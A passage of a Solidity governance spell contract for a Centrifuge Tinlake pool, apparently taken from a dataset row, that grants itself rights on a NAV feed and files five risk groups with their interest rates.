// https://github.com/centrifuge/tinlake-pool-config/blob/master/mainnet-production.json
address constant public ROOT = 0x4B6CA198d257D755A5275648D471FE09931b764A;
address constant public NAV_FEED = 0xcAB9ed8e5EF4607A97f4e22Ad1D984ADB93ce890;
uint256 constant ONE = 10**27;
address self;
function cast() public {
require(!done, "spell-already-cast");
done = true;
execute();
}
function execute() internal {
TinlakeRootLike root = TinlakeRootLike(address(ROOT));
NAVFeedLike navFeed = NAVFeedLike(address(NAV_FEED));
self = address(this);
// NavFeed
root.relyContract(NAV_FEED, self); // required to file riskGroups & change discountRate
// risk group: 6 - PP A, APR: 5.35%, APY: 5.50%
navFeed.file("riskGroup", 6, ONE, ONE, uint(1000000001696470000000000000), 99.5*10**25);
// risk group: 7 - PP BBB, APR: 5.83%, APY: 6.00%
navFeed.file("riskGroup", 7, ONE, ONE, uint(1000000001848680000000000000), 99.5*10**25);
// risk group: 8 - PP BB, APR: 6.3%, , APY: 6.50%
navFeed.file("riskGroup", 8, ONE, ONE, uint(1000000001997720000000000000), 99.5*10**25);
// risk group: 9 - PP B, APR: 6.77%, APY: 7.00%
navFeed.file("riskGroup", 9, ONE, ONE, uint(1000000002146750000000000000), 99.5*10**25);
// risk group: 10 - CRL, APR: 13.98%, APY: 15.00%
navFeed.file("riskGroup", 10, ONE, ONE, uint(1000000004433030000000000000), 98.5*10**25);
}
} | True | [
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